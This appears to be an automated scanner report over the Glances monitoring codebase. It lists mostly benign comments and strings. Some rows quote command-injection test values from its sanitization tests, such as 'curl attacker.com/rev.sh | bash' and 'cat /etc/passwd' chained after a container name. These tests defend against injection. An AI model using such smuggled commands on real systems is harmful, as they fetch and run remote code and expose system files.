| LOW | docker-requirements.txt | 141 | starlette==1.7.0 | COMMENT |
| LOW | docker-requirements.txt | 161 | typing-inspection==0.4.4 | COMMENT |
| LOW | all-requirements.txt | 1 | # This file was autogenerated by uv via the following command: | COMMENT |
| LOW | all-requirements.txt | 21 | # via glances | COMMENT |
| LOW | all-requirements.txt | 41 | chevron==0.14.0 | COMMENT |
| LOW | all-requirements.txt | 61 | ecdsa==0.19.2 | COMMENT |
| LOW | all-requirements.txt | 81 | httpx-sse==0.4.3 | COMMENT |
| LOW | all-requirements.txt | 101 | # via glances | COMMENT |
| LOW | all-requirements.txt | 141 | # via glances | COMMENT |
| LOW | all-requirements.txt | 161 | # fastapi | COMMENT |
| LOW | all-requirements.txt | 181 | pyreadline3==3.5.6 ; sys_platform == 'win32' | COMMENT |
| LOW | all-requirements.txt | 201 | python-dotenv==1.2.3 | COMMENT |
| LOW | all-requirements.txt | 221 | # jsonschema | COMMENT |
| LOW | all-requirements.txt | 241 | # via | COMMENT |
| LOW | all-requirements.txt | 261 | # via glances | COMMENT |
| LOW | all-requirements.txt | 281 | # mcp | COMMENT |
| LOW | all-requirements.txt | 301 | urllib3==2.8.0 | COMMENT |
| LOW | .readthedocs.yaml | 21 | # Fail on all warnings to avoid broken references | COMMENT |
| LOW | tests/test_core.py | 1401 | # """Test secure functions""" | COMMENT |
| LOW | tests/test_plugin_model.py | 1 | #!/usr/bin/env python | COMMENT |
| LOW | tests/test_api.py | 1 | #!/usr/bin/env python | COMMENT |
| LOW | docs/conf.py | 1 | # | COMMENT |
| LOW | docs/conf.py | 21 | # sys.path.insert(0, os.path.abspath('.')) | COMMENT |
| LOW | docs/conf.py | 61 | copyright = f'{year}, {author}' | COMMENT |
| LOW | docs/conf.py | 81 | # today = '' | COMMENT |
| LOW | docs/conf.py | 101 | # output. They are ignored by default. | COMMENT |
| LOW | docs/conf.py | 121 | html_theme = 'sphinx_rtd_theme' | COMMENT |
| LOW | docs/conf.py | 141 | COMMENT | |
| LOW | docs/conf.py | 161 | # If true, SmartyPants will be used to convert quotes and dashes to | COMMENT |
| LOW | docs/conf.py | 181 | # If true, links to the reST sources are added to the pages. | COMMENT |
| LOW | docs/conf.py | 201 | # 'nl', 'no', 'pt', 'ro', 'r', 'sv', 'tr' | COMMENT |
| 53 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH⚡ | tests/test_actions_sanitize.py | 59 | d = {'name': 'web && curl evil.com'} | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 77 | d = {'name': 'foo|bar && baz > qux >> end'} | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 119 | d = {'meta': {'k': 'a|b && c > d'}} | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 180 | 'name': 'web && curl attacker.com/rev.sh | bash && echo ', | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 238 | assert secure_popen('echo -n A && echo -n B') == 'AB' | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 328 | actions, 'containers', 'WARNING', ['echo {{name}}'], {'name': 'web && cat /etc/passwd'} | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 700 | value = "a && b | c > /tmp/evil" | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 178 | """Simulate: container name contains && to chain commands.""" | STRING |
| HIGH⚡ | tests/test_plugin_npu.py | 53 | line fell back to 'DEFAULT' and the WebUI's `getDecoration` returned undefined, | STRING |
| HIGH⚡ | tests/test_plugin_virsh_injection.py | 91 | assert not os.path.exists(canary), f'Command injection via && succeeded: {canary} was created' | CODE |
| HIGH⚡ | tests/test_plugin_virsh_injection.py | 133 | assert not os.path.exists(canary), f'Command injection via && succeeded: {canary} was created' | CODE |
| HIGH⚡ | tests/test_plugin_virsh_injection.py | 166 | domain = 'foo && touch /tmp/should-not-happen | tee >x' | CODE |
| HIGH | tests/test_plugin_virsh_injection.py | 184 | domain = 'titletest && cmd | x > y unique-arg-shape' | CODE |
| HIGH⚡ | tests/test_amp_secure_popen.py | 55 | result = secure_popen('echo -n A && echo -n B', allow_operators=False) | CODE |
| HIGH | glances/plugins/containers/__init__.py | 541 | # Only process if stats exist (and non null) and display plugin enable... | COMMENT |
| HIGH | glances/plugins/vms/__init__.py | 258 | # Only process if stats exist (and non null) and display plugin enable... | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | tests/test_plugin_load.py | 0 | test that get_items_history_list returns the history items. | STRING |
| HIGH | tests/test_plugin_cpu.py | 0 | test that get_items_history_list returns the history items. | STRING |
| HIGH | tests/test_plugin_memswap.py | 0 | test that get_items_history_list returns the history items. | STRING |
| HIGH | tests/test_plugin_processcount.py | 0 | test that get_items_history_list returns the history items. | STRING |
| HIGH | tests/test_plugin_mem.py | 0 | test that get_items_history_list returns the history items. | STRING |
| HIGH | tests/test_plugin_load.py | 0 | test that msg_curse returns properly formatted entries. | STRING |
| HIGH | tests/test_plugin_cpu.py | 0 | test that msg_curse returns properly formatted entries. | STRING |
| HIGH | tests/test_plugin_processcount.py | 0 | test that msg_curse returns properly formatted entries. | STRING |
| HIGH | tests/test_plugin_mem.py | 0 | test that msg_curse returns properly formatted entries. | STRING |
| HIGH | tests/test_plugin_network.py | 0 | test that msg_curse returns empty without max_width. | STRING |
| HIGH | tests/test_plugin_fs.py | 0 | test that msg_curse returns empty without max_width. | STRING |
| HIGH | tests/test_plugin_diskio.py | 0 | test that msg_curse returns empty without max_width. | STRING |
| HIGH | tests/test_plugin_sensors.py | 0 | test that msg_curse returns empty without max_width. | STRING |
| HIGH | tests-data/issues/issue3319.py | 0 | exit the function if it takes more than 'seconds' seconds to complete. in this case, return the value of 'default' (defa | STRING |
| HIGH | tests-data/issues/issue3290.py | 0 | exit the function if it takes more than 'seconds' seconds to complete. in this case, return the value of 'default' (defa | STRING |
| HIGH | glances/globals.py | 0 | exit the function if it takes more than 'seconds' seconds to complete. in this case, return the value of 'default' (defa | STRING |
| HIGH | glances/plugins/plugin/model.py | 0 | return the string to display in the curse interface. | STRING |
| HIGH | glances/plugins/system/__init__.py | 0 | return the string to display in the curse interface. | STRING |
| HIGH | glances/plugins/now/__init__.py | 0 | return the string to display in the curse interface. | STRING |
| HIGH | glances/plugins/cloud/__init__.py | 0 | return the string to display in the curse interface. | STRING |
| HIGH | glances/plugins/uptime/__init__.py | 0 | return the string to display in the curse interface. | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests/test_core.py | 91 | CODE | |
| LOW | tests/test_main.py | 18 | CODE | |
| LOW | tests/test_restful.py | 116 | CODE | |
| LOW | tests-data/tools/csvcheck.py | 15 | CODE | |
| LOW | glances/stats_client.py | 32 | CODE | |
| LOW | glances/standalone.py | 33 | CODE | |
| LOW | glances/web_list.py | 38 | CODE | |
| LOW | glances/config.py | 201 | CODE | |
| LOW | glances/config.py | 354 | CODE | |
| LOW | glances/globals.py | 303 | CODE | |
| LOW | glances/globals.py | 431 | CODE | |
| LOW | glances/globals.py | 531 | CODE | |
| LOW | glances/globals.py | 678 | CODE | |
| LOW | glances/globals.py | 747 | CODE | |
| LOW | glances/globals.py | 807 | CODE | |
| LOW | glances/client.py | 157 | CODE | |
| LOW | glances/__init__.py | 125 | CODE | |
| LOW | glances/servers_list_static.py | 27 | CODE | |
| LOW | glances/stats.py | 148 | CODE | |
| LOW | glances/stats.py | 195 | CODE | |
| LOW | glances/ports_list.py | 28 | CODE | |
| LOW | glances/amps/amp.py | 58 | CODE | |
| LOW | glances/amps/systemv/__init__.py | 54 | CODE | |
| LOW | glances/amps/systemd/__init__.py | 57 | CODE | |
| LOW | glances/plugins/memswap/__init__.py | 70 | CODE | |
| LOW | glances/plugins/wifi/__init__.py | 139 | CODE | |
| LOW | glances/plugins/processlist/__init__.py | 1016 | CODE | |
| LOW | glances/plugins/sensors/__init__.py | 200 | CODE | |
| LOW | glances/plugins/sensors/__init__.py | 215 | CODE | |
| LOW | glances/plugins/sensors/__init__.py | 355 | CODE | |
| LOW | glances/plugins/gpu/cards/arm.py | 203 | CODE | |
| LOW | glances/plugins/gpu/cards/arm.py | 295 | CODE | |
| LOW | glances/plugins/plugin/model.py | 348 | CODE | |
| LOW | glances/plugins/plugin/model.py | 475 | CODE | |
| LOW | glances/plugins/plugin/model.py | 826 | CODE | |
| LOW | glances/plugins/plugin/model.py | 927 | CODE | |
| LOW | glances/plugins/plugin/model.py | 1334 | CODE | |
| LOW | glances/plugins/plugin/model.py | 1337 | CODE | |
| LOW | glances/plugins/npu/cards/intel.py | 94 | CODE | |
| LOW | glances/plugins/npu/cards/rockchip.py | 90 | CODE | |
| LOW | glances/plugins/npu/cards/amd.py | 98 | CODE | |
| LOW | glances/plugins/system/__init__.py | 82 | CODE | |
| LOW | glances/plugins/system/__init__.py | 182 | CODE | |
| LOW | glances/plugins/system/__init__.py | 228 | CODE | |
| LOW | glances/plugins/raid/__init__.py | 68 | CODE | |
| LOW | glances/plugins/percpu/__init__.py | 143 | CODE | |
| LOW | glances/plugins/folders/__init__.py | 98 | CODE | |
| LOW | glances/plugins/containers/engines/podman.py | 78 | CODE | |
| LOW | glances/plugins/containers/engines/lxd.py | 164 | CODE | |
| LOW | glances/plugins/ports/__init__.py | 178 | CODE | |
| LOW | glances/exports/export.py | 163 | CODE | |
| LOW | glances/exports/export.py | 303 | CODE | |
| LOW | glances/exports/glances_clickhouse/__init__.py | 36 | CODE | |
| LOW | glances/exports/glances_clickhouse/__init__.py | 122 | CODE | |
| LOW | glances/exports/glances_clickhouse/__init__.py | 191 | CODE | |
| LOW | glances/exports/glances_timescaledb/__init__.py | 95 | CODE | |
| LOW | glances/exports/glances_timescaledb/__init__.py | 169 | CODE | |
| LOW | glances/exports/glances_mqtt/__init__.py | 111 | CODE | |
| LOW | glances/exports/glances_duckdb/__init__.py | 94 | CODE | |
| LOW | glances/outputs/glances_stdout_issue.py | 65 | CODE | |
| 4 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests/test_core.py | 341 | # Check if number of processes in the list equal counter | COMMENT |
| LOW | tests/test_core.py | 1001 | # Check if history_max_size=3 is OK | COMMENT |
| LOW⚡ | tests/test_core.py | 1141 | # Set field to 0 (should be hidden) | COMMENT |
| LOW⚡ | tests/test_core.py | 1147 | # Set field to 0 (should be hidden) | COMMENT |
| LOW⚡ | tests/test_core.py | 1153 | # Set field to 1 (should not be hidden) | COMMENT |
| LOW | tests/test_export_prometheus.sh | 17 | # Check if we can access the Prometheus metrics endpoint | COMMENT |
| LOW | tests/test_restful.py | 90 | # Check if result of first call is equal to second call | COMMENT |
| LOW | glances/web_list.py | 123 | # Add the server to the list | COMMENT |
| LOW | glances/events_list.py | 158 | # Check if the weight is > to the minimal threshold value | COMMENT |
| LOW | glances/events_list.py | 306 | # Add the event to the list | COMMENT |
| LOW | glances/logger.py | 86 | # Check if a specific configuration is available | COMMENT |
| LOW | glances/processes.py | 844 | # Check if a specific sort should be done | COMMENT |
| LOW | glances/servers_list_static.py | 76 | # Add the server to the list | COMMENT |
| LOW | glances/stats.py | 49 | # Check if the attribute starts with 'get' | COMMENT |
| LOW | glances/folder_list.py | 82 | # Add the item to the list | COMMENT |
| LOW | glances/ports_list.py | 94 | # Add the server to the list | COMMENT |
| LOW | glances/plugins/sensors/__init__.py | 382 | # Add sensor to the list | COMMENT |
| LOW | glances/plugins/plugin/model.py | 1196 | # Check if a shortname is defined | COMMENT |
| LOW | glances/plugins/plugin/model.py | 1204 | # Check if unit is defined and get the short unit char in the unit_sort dict | COMMENT |
| LOW | glances/plugins/plugin/model.py | 1215 | # Check if unit is defined and get the unit type unit_type dict | COMMENT |
| LOW | glances/plugins/plugin/model.py | 1345 | # Check if the field exist (avoid error on some OS where some fields are not available) | COMMENT |
| LOW | glances/plugins/folders/__init__.py | 81 | # Check if the glances_folder instance is init | COMMENT |
| LOW | glances/plugins/vms/engines/virsh.py | 22 | # Check if virsh binary exist | COMMENT |
| LOW | glances/plugins/vms/engines/multipass.py | 20 | # Check if multipass binary exist | COMMENT |
| LOW | glances/exports/export.py | 232 | # Add the measurement to the list | COMMENT |
| LOW | glances/exports/glances_graph/__init__.py | 52 | # Check if output folder is writeable | COMMENT |
| LOW⚡ | glances/outputs/glances_restful_api.py | 824 | # Check if JWT is available | COMMENT |
| LOW⚡ | glances/outputs/glances_restful_api.py | 831 | # Check if password authentication is enabled | COMMENT |
| LOW | glances/outputs/glances_stdout_issue.py | 122 | # Display the result | COMMENT |
| LOW | glances/outputs/glances_stdout_csv.py | 130 | # Check if the plugin exist and is enable | COMMENT |
| LOW | glances/outputs/glances_stdout.py | 57 | # Check if the plugin exist and is enable | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests/test_clickhouse_sanitize.py | 25 | CODE | |
| LOW | tests/test_export_timescaledb_list.py | 24 | CODE | |
| LOW | glances/globals.py | 19 | CODE | |
| LOW | glances/globals.py | 24 | CODE | |
| LOW | glances/globals.py | 30 | CODE | |
| LOW | glances/globals.py | 31 | CODE | |
| LOW | glances/globals.py | 31 | CODE | |
| LOW | glances/globals.py | 31 | CODE | |
| LOW | glances/globals.py | 35 | CODE | |
| LOW | glances/globals.py | 35 | CODE | |
| LOW | glances/globals.py | 36 | CODE | |
| LOW | glances/globals.py | 36 | CODE | |
| LOW | glances/globals.py | 37 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | tests/test_browser_tui.py | 379 | # The password should remain as 'placeholder' (not replaced by saved hash) | COMMENT |
| LOW⚡ | tests/test_browser_tui.py | 300 | 'password': 'placeholder', | CODE |
| LOW⚡ | tests/test_browser_tui.py | 317 | 'password': 'placeholder', | CODE |
| LOW⚡ | tests/test_browser_tui.py | 374 | 'password': 'placeholder', | CODE |
| LOW⚡ | tests/test_browser_tui.py | 380 | assert server['password'] == 'placeholder' | CODE |
| LOW⚡ | tests/test_browser_tui.py | 392 | 'password': 'placeholder', | CODE |
| LOW⚡ | tests/test_browser_tui.py | 398 | assert server['password'] == 'placeholder' | CODE |
| LOW | docs/_static/glances-flame.html | 344 | */t=e.nmd(t),function(){var i,o="Expected a function",u="__lodash_hash_undefined__",a="__lodash_placeholder__",c=16,f=3 | COMMENT |
| LOW | glances/outputs/static/public/glances.js | 21 | */t=r.nmd(t),function(){var i,o="Expected a function",s="__lodash_hash_undefined__",a="__lodash_placeholder__",l=16,c=3 | COMMENT |
| LOW | glances/outputs/static/public/browser.js | 15 | */t=r.nmd(t),function(){var i,o="Expected a function",s="__lodash_hash_undefined__",a="__lodash_placeholder__",l=16,c=3 | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | glances/jwt_utils.py | 61 | Create a JWT access token for the given username. Args: username: The username to encode in the tok | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests/test_plugin_lxd.py | 46 | CODE | |
| LOW | glances/plugins/plugin/model.py | 826 | CODE | |
| LOW | glances/outputs/glances_bars.py | 27 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests-data/issues/issue3341-NATS/pub.py | 18 | # To run this test script, make sure you have a NATS server running locally. | COMMENT |
| LOW | tests-data/issues/issue3341-NATS/sub.py | 32 | # To run this test script, make sure you have a NATS server running locally. | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | glances/globals.py | 727 | # Otherwise just add the current char | COMMENT |
| MEDIUM | glances/exports/export.py | 253 | """Return fields description in order to init stats in a server.""" | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | glances/gpu_percent.py | 1 | __all__ = ["get_gpu_mem", "get_gpu_proc", "gpu_mem", "gpu_proc"] | CODE |
| LOW | glances/cpu_percent.py | 19 | __all__ = ["cpu_percent"] | CODE |